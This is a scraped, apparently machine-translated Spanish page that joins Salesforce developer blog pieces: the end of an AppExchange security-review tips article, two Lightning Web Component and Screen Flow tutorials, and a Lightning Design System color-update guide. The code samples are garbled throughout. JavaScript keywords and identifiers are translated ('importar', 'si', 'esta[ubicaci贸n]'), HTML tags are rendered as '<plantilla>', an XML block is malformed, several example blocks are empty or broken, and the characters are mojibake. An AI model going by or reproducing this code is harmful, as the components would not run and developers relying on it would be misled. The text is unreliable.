Si su soluci贸n incluye sitios web o aplicaciones web personalizados que no son de Salesforce, le recomendamos encarecidamente invertir en una licencia de Burp Suite si es financieramente viable para su organizaci贸n. Burp Suite es una de las mejores herramientas de seguridad del mercado y tambi茅n la utiliza mucho nuestro propio equipo de seguridad de productos. Chimera u OWASP ZAP son alternativas completamente gratuitas, pero prep谩rate para invertir m谩s tiempo en t茅rminos de revisi贸n manual, ya que carecen de muchas de las potentes funciones/herramientas que tiene Burp Suite.

Nota: Si su oferta se integra con aplicaciones o servicios web que no son de su propiedad, no intente escanear los puntos finales hasta que haya obtenido el permiso del propietario.

Salesforce Product Security tambi茅n utiliza Code Analyzer , PMD para VS Code y Checkmarx para revisar el c贸digo fuente del paquete Salesforce. Tambi茅n utilizan la base de datos CVE y el esc谩ner Qualys SSL en la mayor铆a de los env铆os.

Si tiene problemas de seguridad y necesita orientaci贸n t茅cnica, los socios ISV pueden registrarse para obtener horas de oficina gratuitas con nuestros ingenieros de seguridad a trav茅s del Portal de seguridad para socios .

Por 煤ltimo, no podemos recomendar lo suficiente Trailhead en t茅rminos de preparaci贸n para revisiones de seguridad. Vale la pena dedicar tiempo a la ruta Desarrollar aplicaciones web seguras y tambi茅n acabamos de renovar el m贸dulo Revisi贸n de seguridad de AppExchange , que analiza el proceso de env铆o de un extremo a otro.

Sobre el Autor

Anika Teppo es evangelista t茅cnica en Salesforce. Ha estado trabajando con el equipo de revisi贸n de seguridad de AppExchange en Salesforce desde 2017, y su funci贸n actual consiste en hacer que Salesforce Labs y las soluciones internas se revisen y publiquen en AppExchange.

Obtenga las 煤ltimas publicaciones de blog y episodios de podcasts para desarrolladores de Salesforce a trav茅s de Slack o RSS.

A帽adir a holgura Suscr铆bete a RSS

Seguir leyendo

Incrustar flujos de pantalla en el componente web Lightning

Incrustar flujos de pantalla en el componente web Lightning

脷ltima actualizaci贸n el 19 de julio de 2023 por Rakesh Gupta

Gran idea o pregunta duradera:

  • 驴C贸mo incrusta un flujo de pantalla dentro de un componente web Lightning?

Objetivos:

Despu茅s de leer este blog, podr谩:

  • Incruste el flujo de pantalla dentro de un componente web Lightning
  • Aplicar representaci贸n condicional en el componente web Lightning
  • Use uiRecordApi para obtener el valor del campo del registro sin usar la clase de Apex
  • y mucho m谩s

En el pasado, escrib铆 algunos art铆culos sobre Lightning Web Component . 驴Por qu茅 no echarles un vistazo mientras est谩s en ello?

  1. Pasar datos del componente web Lightning al flujo de pantalla
  2. Uso del componente web Lightning para mostrar un banner de alerta

Janel Parrish trabaja como desarrollador junior en Gurukul on Cloud (GoC). Se le ha encomendado un requisito comercial para desarrollar un componente LWC con las siguientes funcionalidades:

  1. Deber铆a mostrar un flujo de pantalla llamado 'parterFlow' cuando el tipo de cuenta es 'Socio tecnol贸gico'.
  2. Deber铆a presentar un flujo de pantalla llamado 'customerFlow' cuando el tipo de cuenta es 'Cliente – Directo'.
  3. El componente LWC debe dise帽arse con la capacidad de incorporarse en la p谩gina de registro de rayos de la cuenta.

Enfoque de Campe贸n de Automatizaci贸n (I-do):

Utilizaremos el componente lightning-flow para incrustar un flujo de pantalla en el componente lightning web. Para crear un flujo en el componente Lightning Web, establezca el atributo flowApiName del componente Lightning-Flow en el nombre de flujo que desea usar. El componente incluye botones de navegaci贸n (Atr谩s, Siguiente, Pausa y Finalizar) para que los usuarios naveguen dentro del flujo.

Tambi茅n usaremos un adaptador de cable uiRecordApi que nos permite interactuar con registros de Salesforce desde los componentes del componente web lightning sin escribir c贸digo Apex. Esta API le permite realizar operaciones como recuperar los datos de un registro o los detalles del dise帽o, crear, eliminar o actualizar un registro, etc. Estos son algunos de los m茅todos clave proporcionados por uiRecordApi :

  1. getRecord : este m茅todo le permite obtener datos de registro.
  2. getRecordCreateDefaults : este m茅todo proporciona los valores predeterminados que utiliza Salesforce al crear un nuevo registro.
  3. getRecordUi : obtiene los detalles de dise帽o de un registro, como qu茅 campos se muestran, c贸mo se muestran, etc.
  4. createRecord : este m茅todo le permite crear un nuevo registro.
  5. deleteRecord 鈥 Le permite eliminar un registro.
  6. updateRecord : te permite actualizar un registro existente.

En el archivo de configuraci贸n XML, usaremos lightning__RecordPage como destino para permitir que el componente web de iluminaci贸n se use en una p谩gina de registro en Lightning App Builder.

Pr谩ctica guiada (nosotros hacemos):

Hay 3 pasos para resolver el requisito comercial de Janel utilizando Lightning Web Component y Screen Flow . Debemos:

  1. Cree un ScreenFlow (customerFlow) para manejar la solicitud del cliente
    1. Definir propiedades de flujo para el flujo de pantalla
    2. Agregue una variable de texto para almacenar el nombre de la cuenta
    3. Agregue una pantalla para mostrar el nombre de la cuenta desde una variable de texto
  2. Cree un ScreenFlow (partnerFlow) para manejar la solicitud del cliente
    1. Definir propiedades de flujo para el flujo de pantalla
    2. Agregue una variable de texto para almacenar el nombre de la cuenta
    3. Agregue una pantalla para mostrar el nombre de la cuenta desde una variable de texto
  3. Cree un componente web rel谩mpago para mostrar los diferentes flujos de pantalla seg煤n el tipo de cuenta

Paso 1.1: Definir propiedades de flujo (customerFlow)

  1. Haga clic en Configuraci贸n .
  2. En el cuadro B煤squeda r谩pida, escriba Flujos .
  3. Seleccione Flujos , luego haga clic en Nuevo flujo .
  4. Seleccione el flujo de pantalla   y haga clic en Crear y configurar el flujo.
  5. Se abrir谩 el dise帽ador de flujo para usted.

Paso 1.2: agregue una variable de texto al nombre de la cuenta de la tienda

  1. En Caja de herramientas , seleccione Administrador y, a continuaci贸n, haga clic en Nuevo recurso para almacenar el nombre de la cuenta.
  2. Ingrese la siguiente informaci贸n :
    1. Tipo de recurso : Variable
    2. Nombre de API : nombre de cuenta
    3. Tipo de datos : Texto
    4. Valor predeterminado : {!$GlobalConstant.EmptyString}
    5. Comprobar disponible para entrada
    6. Comprobar disponible para la salida
  3. Haga clic en Listo.

Paso 1.3: agregue una pantalla para mostrar el nombre de la cuenta desde la variable de texto

  1. En Flow Designer, haga clic en el icono + y seleccione el elemento Pantalla .
  2. Ingrese la siguiente informaci贸n :
    1. Ingrese la etiqueta, el nombre de la API se completar谩 autom谩ticamente.
  3. Haga clic en Listo.

Al final, Janel's Flow se ver谩 como la siguiente captura de pantalla:

Una vez que todo se vea bien, realice los siguientes pasos:

  1. Haga clic en Guardar .
  2. Ingrese la etiqueta de flujo, el nombre de la API se completar谩 autom谩ticamente.
  3. Haga clic en Mostrar avanzado .
  4. Versi贸n de API para ejecutar el flujo : 58
  5. Etiqueta de entrevista : customerFlow {!$Flow.CurrentDateTime}
  6. Haga clic en Guardar .

Paso 2.1: Definir propiedades de flujo (partnerFlow)

  1. Haga clic en Configuraci贸n .
  2. En el cuadro B煤squeda r谩pida, escriba Flujos .
  3. Seleccione Flujos , luego haga clic en Nuevo flujo .
  4. Seleccione el flujo de pantalla   y haga clic en Crear y configurar el flujo.
  5. Se abrir谩 el dise帽ador de flujo para usted.

Paso 2.2: agregue una variable de texto al nombre de la cuenta de la tienda

  1. En Caja de herramientas , seleccione Administrador y, a continuaci贸n, haga clic en Nuevo recurso para almacenar el nombre de la cuenta.
  2. Ingrese la siguiente informaci贸n :
    1. Tipo de recurso : Variable
    2. Nombre de API : nombre de cuenta
    3. Tipo de datos : Texto
    4. Valor predeterminado : {!$GlobalConstant.EmptyString}
    5. Comprobar disponible para entrada
    6. Comprobar disponible para la salida
  3. Haga clic en Listo.

Paso 2.3: agregue una pantalla para mostrar el nombre de la cuenta desde la variable de texto

  1. En Flow Designer, haga clic en el icono + y seleccione el elemento Pantalla .
  2. Ingrese la siguiente informaci贸n :
    1. Ingrese la etiqueta, el nombre de la API se completar谩 autom谩ticamente.
  3. Haga clic en Listo.

Al final, Janel's Flow se ver谩 como la siguiente captura de pantalla:

Una vez que todo se vea bien, realice los siguientes pasos:

  1. Haga clic en Guardar .
  2. Ingrese la etiqueta de flujo, el nombre de la API se completar谩 autom谩ticamente.
  3. Haga clic en Mostrar avanzado .
  4. Versi贸n de API para ejecutar el flujo : 58
  5. Etiqueta de entrevista : flujo de socio { !$Flow.CurrentDateTime}
  6. Haga clic en Guardar .

Paso 3: cree un componente web Lightning para mostrar los diferentes flujos de pantalla seg煤n el tipo de cuenta

Debajo de la plantilla de componente web lightning, se muestra una tarjeta Lightning titulada Iniciar pedido . Dependiendo de si la propiedad isPartner o isCustomer es verdadera, se iniciar谩 y mostrar谩 el Lightning Flow correspondiente ("rakeshistomMVP__partnerFlow" o "rakeshistomMVP__customerFlow").

embedFlowToLWC.html

Utilizaremos el componente lightning-flow para incrustar un flujo de pantalla en el componente lightning web. Desglosemos el c贸digo:

  • En LWC, el archivo HTML de cada componente debe envolverse con una etiqueta <plantilla> .
  • <template if:true={isPartner}> y <template if:true={isCustomer}> : estas son plantillas condicionales que muestran contenido en funci贸n de la veracidad de las propiedades isPartner e isCustomer , respectivamente. El contenido dentro de estas plantillas solo se representar谩 si la condici贸n correspondiente es verdadera.

<plantilla> <div class="slds-m-alrededor_medio"> <lightning-card title="Iniciar pedido" icon-name="est谩ndar:pedidos"> <div class="slds-m-alrededor_medio"> <template if:true={esSocio}> <lightning-flow onstatuschange={handleStatusChange} flow-api-name="rakeshistomMVP__partnerFlow" flow-input-variables={inputVariables}></lightning-flow> </plantilla> <template if:true={esCliente}> <lightning-flow onstatuschange={handleStatusChange} flow-api-name="rakeshistomMVP__customerFlow" flow-input-variables={inputVariables}></lightning-flow> </plantilla> </div> </tarjeta-rel谩mpago> </div>
</plantilla>
embedFlowToLWC.js

Este c贸digo JavaScript de muestra usa el decorador @api para crear propiedades p煤blicas. Por ejemplo, recordId es una propiedad reactiva p煤blica que contiene el ID de la p谩gina de registro. Mientras que el decorador @wire lee los datos de Salesforce. getRecord es una funci贸n del m贸dulo lightning/uiRecordApi que recupera un registro. accountType y accountName se importan del esquema de Salesforce.

  • Las declaraciones de importaci贸n se utilizan para importar los m贸dulos y las dependencias necesarios. LightningElement es el componente b谩sico para crear componentes web Lightning.
  • account({ error, data }) es una funci贸n que maneja la respuesta de la llamada getRecord . Si hay un error, asigna el error a this.error . Si se devuelven datos, establece this.accountName en el nombre de la cuenta y establece isPartner o isCustomer en verdadero seg煤n el tipo de cuenta.
  • get inputVariables() es un m茅todo captador que devuelve una matriz de objetos, que representa variables de entrada para un flujo. En este caso, devuelve el nombre de la cuenta.

import { LightningElement, api, wire } de 'lwc';
importar { getRecord } desde 'lightning/uiRecordApi';
importar tipo de cuenta desde '@salesforce/schema/Account.Type';
importar nombre de cuenta desde '@salesforce/schema/Account.Name'; exportar la clase predeterminada FlowLauncher extiende LightningElement { @api recordId; nombre de la cuenta; esSocio = falso; esCliente = falso; @wire(getRecord, { recordId: '$recordId', campos: [nombre de cuenta, tipo de cuenta] }) cuenta ({ error, datos }) { si (error) { this.error = error; } m谩s si (datos) { this.accountName = data.fields.Name.value; if(data.fields.Type.value === 'Socio tecnol贸gico') { this.isPartner = verdadero; this.isCustomer = false; } else if(data.fields.Type.value === 'Cliente - Directo') { this.isCustomer = true; this.isPartner = false; } } } obtener variables de entrada () { devolver [ { nombre: 'nombre de cuenta', tipo: 'Cadena', valor: este.nombreDeCuenta } ]; } handleStatusChange(evento) { if(evento.detalle.estado === 'FINALIZADO') { //Acci贸n despu茅s de que un flujo haya terminado } }
}
embedFlowToLWC.js-meta.xml

El elemento isExposed se establece en verdadero, lo que hace que el componente est茅 disponible para su uso en herramientas como Lightning App Builder o Flow Builder.

El elemento de objetivos se usa para especificar d贸nde se puede usar su componente. En este caso, la etiqueta lightning__RecordPage significa que este componente est谩 dise帽ado para usarse en una p谩gina de registro en Lightning App Builder.



<?versi贸n xml=鈥1.0鈥 codificaci贸n=鈥漊TF-8鈥?>
<LightningComponentBundle xmlns=鈥漢ttp://soap.sforce.com/2006/04/metadata鈥>
<apiVersion>58.0</apiVersion>
<isExposed>verdadero</isExposed>
<target>rel谩mpago__RecordPage</target>
</objetivos>
</LightningComponentBundle>

Prueba de concepto

Evaluaci贸n formativa:

隆Quiero saber de ti!

驴Qu茅 es una cosa que aprendiste de esta publicaci贸n? 驴C贸mo imagina aplicar este nuevo conocimiento en el mundo real? Si茅ntase libre de compartir en los comentarios a continuaci贸n.

Seguir leyendo

Pasar datos del componente web Lightning al flujo de pantalla

Pasar datos del componente web Lightning al flujo de pantalla

脷ltima actualizaci贸n el 17 de julio de 2023 por Rakesh Gupta

Gran idea o pregunta duradera:

  • 驴C贸mo pasa datos del componente web lightning al flujo de pantalla principal?

Objetivos:

Despu茅s de leer este blog, podr谩:

  • Incruste un componente web rel谩mpago dentro del flujo de pantalla
  • Pase los datos del componente web lightning a una variable de flujo
  • Interactuar con el componente web lightning y los elementos de flujo de pantalla en la misma pantalla
  • y mucho m谩s

En el pasado, escrib铆 algunos art铆culos sobre Lightning Web Component . 驴Por qu茅 no echarles un vistazo mientras est谩s en ello?

  1. Uso del componente web Lightning para mostrar un banner de alerta
  2. Obtenga el Id. de registro y el nombre de la API del objeto en el componente web Lightning

Janel Parrish trabaja como desarrollador junior en Gurukul on Cloud (GoC). Janel tiene un requisito comercial para hacer lo siguiente:

  1. Desarrollar un componente LWC capaz de recibir entradas de latitud y longitud.
  2. Pase los valores introducidos a los componentes de flujo de pantalla correspondientes.

Construir pantallas con componentes reactivos

Con la funci贸n Crear pantallas con componentes interactivos (actualmente en versi贸n beta), ahora puede habilitar la interacci贸n directa entre un componente web Lightning y otros elementos de flujo en la misma pantalla.

Anteriormente, no exist铆a una disposici贸n directa para la interacci贸n din谩mica entre un componente web Lightning y los elementos de flujo. Como resultado, los usuarios ten铆an que navegar a la siguiente pantalla para ver los datos pasados por el componente web Lightning en Screen Flow.

Enfoque de Campe贸n de Automatizaci贸n (I-do):

Al crear el componente web Lightning, tambi茅n utilizaremos el evento FlowAttributeChangeEvent . Esto permitir谩 que un componente controle la navegaci贸n del flujo y notifique al flujo los cambios en los valores de los atributos.

Los eventos FlowAttributeChangeEvent solo se admiten en componentes donde el destino es lightning__FlowScreen .

Pr谩ctica guiada (nosotros hacemos):

Hay 2 pasos para resolver el requisito empresarial de Janel utilizando Lightning Web Component y Screen Flow . Debemos:

  1. Cree un componente web Lightning de ubicaci贸n de entrada para Screen Flow
  2. Pasos de flujo de Salesforce
    1. Definir propiedades de flujo para el flujo de pantalla
    2. Agregue una pantalla para mostrar el componente personalizado de ubicaci贸n de entrada
    3. Agregar un componente de n煤mero de entrada para mostrar la latitud desde la ubicaci贸n de entrada Componente LWC
    4. Agregar un componente de n煤mero de entrada para mostrar la longitud desde la ubicaci贸n de entrada Componente LWC

Paso 1: Cree un componente web Lightning de ubicaci贸n de entrada para Screen Flow

En primer lugar, cree un componente web Lightning de ubicaci贸n de entrada con el siguiente c贸digo. El componente lightning-input-location representa un campo de geolocalizaci贸n compuesto que acepta valores de latitud y longitud introducidos por el usuario, siendo ambos coordenadas geogr谩ficas expresadas en grados decimales. Le permite identificar ubicaciones utilizando estas coordenadas.

El rango aceptable para la latitud est谩 entre -90 y 90, mientras que la longitud acepta valores de -180 a 180. Cualquier entrada m谩s all谩 de estos rangos especificados genera un mensaje de error. Este ejemplo muestra un campo de geolocalizaci贸n compuesto, que muestra una latitud de 27,70750 y una longitud de -122,3948370.

Si no sabe c贸mo crear un componente Lightning, consulte esta gu铆a para desarrolladores, Crear un componente web Lightning .

lwcToScreenFlow.html

Utilizaremos el componente de ubicaci贸n de entrada de rayos para aceptar valores de latitud y longitud. Desglosemos el c贸digo:

  • En LWC, el archivo HTML de cada componente debe envolverse con una etiqueta <plantilla> .
  • latitude={latitude} :- Esto vincula la propiedad de latitud de la clase JavaScript de LWC con el atributo de latitud del componente.
  • longitude={longitude} :- Similar a la latitud, esto une la propiedad de longitud de la clase JavaScript de LWC con el atributo de longitud del componente.
  • onchange={handleChange} :- Esto configura un detector de eventos en el componente. Cada vez que cambia el valor del componente (ya sea latitud o longitud), se llama al m茅todo handleChange de la clase JavaScript de LWC.

<plantilla> <rel谩mpago-entrada-ubicaci贸n etiqueta="Coordenadas predeterminadas" latitud={latitud} longitud={longitud} onchange={handleChange}> </ubicaci贸n-de-entrada-del-rel谩mpago>
</plantilla>
lwcToScreenFlow.js

Este c贸digo JavaScript de muestra utiliza el decorador @api para crear propiedades p煤blicas, es decir, accesibles desde otros componentes o utilizadas en plantillas HTML. Por ejemplo, @api latitude y @api longitude declaran dos propiedades p煤blicas.

  • FlowAttributeChangeEvent crea y distribuye el evento personalizado que transfiere datos del componente web Lightning a un flujo.
  • handleChange(event) es un m茅todo de controlador de eventos que se llama cuando ocurre un evento de cambio en el componente lightning-input-location en la plantilla HTML de LWC.
  • this.latitude = event.target.latitude y this.longitude = event.target.longitude , estas l铆neas actualizan las propiedades de latitud y longitud con los valores del objetivo del evento (el componente lightning-input-location).
  • [鈥渓atitud鈥, 鈥渓ongitud鈥漖.forEach((loc) => this.dispatchEvent(new FlowAttributeChangeEvent(loc, this[loc]))) , esta l铆nea recorre una matriz que contiene cadenas de latitud y longitud, y para cada uno de estos, env铆a un nuevo FlowAttributeChangeEvent.

importar { LightningElement, api } desde 'lwc';
importar {FlowAttributeChangeEvent} desde 'lightning/flowSupport'; exportar la clase predeterminada LwcToScreenFlow extiende LightningElement { @api latitud; @api longitud; handleChange(evento){ esta.latitud = evento.objetivo.latitud; this.longitude = event.target.longitude; ["latitud", "longitud"].forEach((loc) => this.dispatchEvent(new FlowAttributeChangeEvent(ubicaci贸n, esta[ubicaci贸n])) ); }
}
lwcToScreenFlow.js-meta.xml

El elemento isExposed se establece en verdadero, lo que hace que el componente est茅 disponible para su uso en herramientas como Lightning App Builder o Flow Builder. El elemento de objetivos se usa para especificar d贸nde se puede usar su componente. En este caso, la etiqueta lightning__FlowScreen significa que este componente est谩 dise帽ado para usarse en las pantallas de Salesforce Flow.

Los elementos targetConfigs y targetConfig le permiten definir propiedades que se pueden establecer en el contexto del constructor. En este caso, las propiedades son latitud y longitud . Ambos est谩n configurados para ser del tipo Integer y tienen la funci贸n de outputOnly , lo que significa que se pueden configurar en el flujo, pero el usuario no puede modificarlos dentro del componente. Estas propiedades se pueden usar para pasar datos del LWC al flujo.


<?versi贸n xml="1.0" codificaci贸n="UTF-8"?>
<LightningComponentBundle xmlns="http://soap.sforce.com/2006/04/metadatos"> <apiVersion>58.0</apiVersion> <isExposed>verdadero</isExposed> <objetivos> <target>rel谩mpago__FlowScreen</target> </objetivos> <configuraciones de destino> <targetConfig objetivos="rel谩mpago__FlowScreen"> <property label="Latitude" name="latitude" type="Integer" role="outputOnly"/> <property label="Longitud" name="longitud" type="Integer" role="outputOnly"/> </targetConfig> </configuraciones de destino>
</LightningComponentBundle>

Paso 2.1: Definir propiedades de flujo

  1. Haga clic en Configuraci贸n .
  2. En el cuadro B煤squeda r谩pida, escriba Flujos .
  3. Seleccione Flujos , luego haga clic en Nuevo flujo .
  4. Seleccione el flujo de pantalla   y haga clic en Crear y configurar el flujo.
  5. Se abrir谩 el dise帽ador de flujo para usted.

Paso 2.2: agregue una pantalla para mostrar el componente personalizado de ubicaci贸n de entrada

  1. En Flow Designer, haga clic en el icono + y seleccione el elemento Pantalla .
  2. Ingrese la siguiente informaci贸n :
    1. Ingrese la etiqueta, el nombre de la API se completar谩 autom谩ticamente.
  3. Haga clic en Listo.

Paso 2.3: Agregue un componente de n煤mero de entrada para mostrar la latitud desde el componente LWC de ubicaci贸n de entrada

  1. En la secci贸n Entrada en Elemento de pantalla , arrastre y suelte el componente N煤mero en la pantalla.
  2. Ingrese la siguiente informaci贸n :
    1. Ingrese la etiqueta, el nombre de la API se completar谩 autom谩ticamente.
    2. Valor predeterminado : {!lwcToFlow.latitude}
  3. Haga clic en Listo.

Paso 2.4: Agregar un componente de n煤mero de entrada para mostrar la longitud desde la ubicaci贸n de entrada Componente LWC

  1. En la secci贸n Entrada en Elemento de pantalla , arrastre y suelte el componente N煤mero en la pantalla.
  2. Ingrese la siguiente informaci贸n :
    1. Ingrese la etiqueta, el nombre de la API se completar谩 autom谩ticamente.
    2. Valor predeterminado : {!lwcToFlow.longitude}
  3. Haga clic en Listo.

Al final, Janel's Flow se ver谩 como la siguiente captura de pantalla:

Una vez que todo se vea bien, realice los siguientes pasos:

  1. Haga clic en Guardar .
  2. Ingrese la etiqueta de flujo, el nombre de la API se completar谩 autom谩ticamente.
  3. Haga clic en Mostrar avanzado .
  4. Versi贸n de API para ejecutar el flujo : 58
  5. Etiqueta de entrevista : Pase de Screen Flow a LWC {!$Flow.CurrentDateTime}
  6. Haga clic en Guardar .

Prueba de concepto

Evaluaci贸n formativa:

隆Quiero saber de ti!

驴Qu茅 es una cosa que aprendiste de esta publicaci贸n? 驴C贸mo imagina aplicar este nuevo conocimiento en el mundo real? Si茅ntase libre de compartir en los comentarios a continuaci贸n.

Seguir leyendo

Preparando tu aplicaci贸n para la actualizaci贸n de color del Lightning Design System 鈽侊笍

Preparando tu aplicaci贸n para la actualizaci贸n de color del Lightning Design System 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Preparaci贸n de su aplicaci贸n para la actualizaci贸n de color de Lightning Design System | Blog de desarrolladores de Salesforce

En 2023, Salesforce planea actualizar los colores en nuestra interfaz de usuario de iluminaci贸n para que sean m谩s accesibles para las personas con baja visi贸n y para cumplir con las Pautas de accesibilidad de contenido web (WCAG) para el contraste de color que no es de texto y el contraste de color de texto. WCAG es un est谩ndar de accesibilidad moderno requerido por numerosos 贸rganos de gobierno de todo el mundo.

Para hacer esto, actualizaremos las plataformas en las que se crea nuestra interfaz de usuario Lightning: Salesforce Lightning Design System (SLDS) y Base Lightning Components (ambas versiones, Aura y Lightning Web Component). En estas plataformas, actualizaremos componentes, tokens de dise帽o, ganchos de estilo e 铆conos. Estos cambios no solo aparecer谩n en los productos de Salesforce, como Sales Cloud y Service Cloud, sino que tambi茅n aparecer谩n en cualquier interfaz de usuario personalizada que haya creado con SLDS o Base Lightning Components.

Para obtener m谩s detalles y ejemplos visuales de las actualizaciones, eche un vistazo a las publicaciones del blog de administraci贸n y noticias de Salesforce.

驴Cu谩l es el motivo de la actualizaci贸n?

Con los colores actuales en Salesforce, los usuarios con problemas de visi贸n tienen dificultades para reconocer los elementos clave de la interfaz de usuario, lo que no solo los frustra, sino que tambi茅n les impide adoptar Salesforce. Adem谩s, Salesforce y sus clientes enfrentan problemas de cumplimiento clave debido a que un n煤mero cada vez mayor de gobiernos en todo el mundo, incluida la Uni贸n Europea (UE) , requieren contraste de color de acuerdo con WCAG 2.1 . WCAG 2.1 ha requerido que los sitios web de las empresas usen texto que cumpla con un contraste de color de 4.5: 1 de su fondo y elementos funcionales que no sean texto que cumplan con un contraste de color de 3: 1 . Aumentar nuestro contraste de color para cumplir con estos est谩ndares nos permitir谩 brindar una mejor experiencia a los usuarios con baja visi贸n y permitir谩 a las empresas que usan nuestros productos evitar fuertes multas por accesibilidad.

驴Cu谩ndo est谩 ocurriendo la actualizaci贸n?

Todos los 铆conos se actualizar谩n como parte del lanzamiento de Summer '23. Las p谩ginas de inicio de registros seleccionados, incluidos los LWC incrustados en las p谩ginas, se actualizar谩n como parte del lanzamiento de Summer '23. Todas las dem谩s p谩ginas, SLDS y los componentes b谩sicos de Lightning se actualizar谩n como parte de la versi贸n Winter '24.

驴Qu茅 es lo que hay que hacer?

Si descarg贸 铆conos de Salesforce y seleccion贸 铆conos espec铆ficos para usarlos como recursos est谩ticos, aseg煤rese de actualizarlos con los nuevos 铆conos . Si est谩 utilizando nuestro paquete SLDS NPM , actualice ese paquete a la 煤ltima versi贸n para ver los cambios. Si tiene p谩ginas personalizadas desarrolladas con SLDS, vea cu谩les de los siguientes escenarios se aplican a su base de c贸digo y realice los cambios correspondientes.

1. Componente base Lightning/Aura

Utiliza un componente Lightning sin anulaciones adicionales. Su c贸digo podr铆a verse como el Ejemplo 1 a continuaci贸n.

驴Qu茅 es lo que hay que hacer?

  1. Nada. Las actualizaciones de color se realizan de forma gratuita a medida que Lightning Base Components implementa un plan SLDS .
  2. Se aplican excepciones a algunos componentes a continuaci贸n.

Ejemplo 1

<dx-code-block title language="html" code-block="
Save
芦>

2. Componente personalizado con plano SLDS

Utiliza un componente personalizado que implementa un modelo SLDS y solo usa clases SLDS para dise帽ar. Su c贸digo podr铆a verse como el Ejemplo 2 a continuaci贸n.

驴Qu茅 es lo que hay que hacer?

  1. Nada. Las actualizaciones de color se realizan de forma gratuita si su componente implementa exactamente un modelo SLDS .

Ejemplo 2

<dx-code-block title language="html" code-block="

芦>

3. Componente personalizado con plano parcial de SLDS

Similar a 2. Componente personalizado con modelo SLDS , pero en este caso, usa un componente personalizado que implementa parcialmente un modelo SLDS o usa m谩s clases de SLDS para dise帽ar. Su c贸digo podr铆a verse como el Ejemplo 3 a continuaci贸n.

驴Qu茅 es lo que hay que hacer?

  1. Es posible que deba actualizar los colores en su CSS personalizado si ve regresiones visuales.
    1. Si existe un componente base Lightning para ese modelo y variante, recomendamos reemplazar su componente personalizado con el componente base Lightning.
      1. Si necesita personalizar el estilo de los componentes, le recomendamos que utilice los nuevos ganchos de estilo --slds para cualquier valor de color codificado. Si el valor de color codificado no tiene una coincidencia exacta en t茅rminos de ganchos de estilo, querr谩 considerar usar el gancho de estilo m谩s parecido.
    2. Es posible que desee verificar si hay suficiente contraste de color para el componente antes de actualizar el valor codificado a un gancho de estilo.
  2. Los cambios de color en las clases de SLDS se realizan de forma gratuita. Debido a que los cambios se limitan al color, estas clases deber铆an continuar funcionando como se esperaba.

Ejemplo 3

<dx-code-block title language="html" code-block="

芦><dx-code-block title language="css" code-block="/* CSS */
.my-class { color: #ccc;

En este caso, la clase de CSS personalizada .my-class anula un valor de .slds-button_neutral . Este valor no solo debe actualizarse para tener un mejor contraste, sino que toda la implementaci贸n tambi茅n ser铆a m谩s f谩cil de mantener si se reemplazara con un componente base Lightning y luego se usara el enlace de estilo --slds-c-button-text-color para hacer una anulaci贸n accesible.

Nota: Si no existe un gancho de estilo para el valor codificado, recomendamos usar el gancho de estilo m谩s cercano disponible.

<dx-code-block title language="html" code-block="
Save
芦>

4. Componente personalizado con tokens o clases SLDS

Est谩 usando un componente personalizado que usa directamente tokens SLDS dentro de CSS personalizado o usa clases SLDS en el marcado. Su c贸digo podr铆a verse como el Ejemplo 4 a continuaci贸n.

驴Qu茅 es lo que hay que hacer?

  1. Es posible que deba reemplazar los tokens que est谩 utilizando en CSS personalizado con los ganchos de estilo global relevantes seg煤n sea necesario.
    1. Consulte el ejemplo 4 a continuaci贸n.

Ejemplo 4

<dx-code-block title language="html" code-block="

芦>

En este ejemplo, el token t(colorBorder) est谩 dise帽ado para bordes decorativos como tarjetas y divisores. Debe reemplazarse con un gancho de estilo que est茅 alineado con el plano del bot贸n SLDS.

5. Componente personalizado con fichas personalizadas

Est谩 usando un componente personalizado que usa tokens personalizados. Su c贸digo podr铆a verse como el Ejemplo 5 a continuaci贸n.

驴Qu茅 es lo que hay que hacer?

Recomendamos reemplazar tokens personalizados con ganchos de estilo SLDS cuando sea posible. Cuando use ganchos de estilo, aseg煤rese de usar ganchos que tengan el contexto sem谩ntico correcto. Por ejemplo, un gancho como --slds-g-color-border-base-1 solo debe usarse para bordes. Esto ayudar谩 a garantizar que su producto siga siendo coherente con el estilo de Salesforce a medida que se produzcan futuras actualizaciones de color.

Si debe mantener su token personalizado por cualquier motivo, vuelva a verificar que su token personalizado no haya experimentado ninguna regresi贸n visual.

Ejemplo 5

<dx-code-block title language="html" code-block="

芦><dx-code-block title language="html" code-block="

芦>

En este ejemplo, el token t(myBackgroundColor) usa un valor de color desactualizado de SLDS. El lenguaje visual Lightning actual ya no usa este color. El token personalizado debe reemplazarse con el color m谩s parecido de la lista de ganchos de estilo. En este ejemplo, 鈥攕lds-g-color-neutral-base-95: #f3f3f3 es el gancho de estilo SLDS m谩s parecido.

6. Componente personalizado con valores codificados

Est谩 usando un componente personalizado que usa un valor de color codificado como #444 o rgb(68,68,68) . Su c贸digo podr铆a parecerse al Ejemplo 3 anterior.

驴Qu茅 es lo que hay que hacer?

  1. Recomendamos reemplazar los colores codificados con ganchos de estilo si existe un color an谩logo. Al seleccionar tokens, aseg煤rese de usar tokens sem谩nticos de manera que conserven su significado. Por ejemplo, --slds-g-color-border-base-1 solo debe usarse como el color del borde de los elementos del formulario. Si desea mantener su valor de color codificado, verifique que estos colores no hayan experimentado ninguna regresi贸n visual.
    Nota: Los valores alternativos pueden permanecer como valores de color codificados.

7. Componente base con anulaci贸n --lwc

Est谩 utilizando un componente Lightning o Aura base y est谩 anulando un token --lwc para personalizar el estilo de uno o m谩s componentes. Su c贸digo podr铆a verse como el Ejemplo 7.

NOTA: Esta no es una forma recomendada de personalizar componentes y no hay garant铆a de que las personalizaciones realizadas de esta manera contin煤en funcionando.

驴Qu茅 es lo que hay que hacer?

  1. Verifique si est谩 anulando y --lwc tokens para cualquiera de estos componentes .
    1. Reemplace el token --lwc que se anula con el enlace de estilo actualizado --slds introducido.

Ejemplo 7

<dx-code-block title language="html" code-block="

芦>

En este ejemplo, al anular 鈥攍wc-colorBorder a rojo, todos los bordes de los botones se vuelven rojos. El equipo de SLDS actualiz贸 esta variante de componente para usar un enlace de estilo global, por lo que esta anulaci贸n dejar谩 de funcionar. En este caso, simplemente use --slds-g-color-border-base-4 en el 谩mbito del selector para anular el color del borde.

Mejores pr谩cticas

  • Reemplace los valores de color codificados de forma r铆gida con ganchos de estilo globales cuando sea posible (los valores de colores codificados de forma r铆gida est谩n bien como valores alternativos).
  • Reemplace los tokens de dise帽o con ganchos de estilo global donde sea posible.
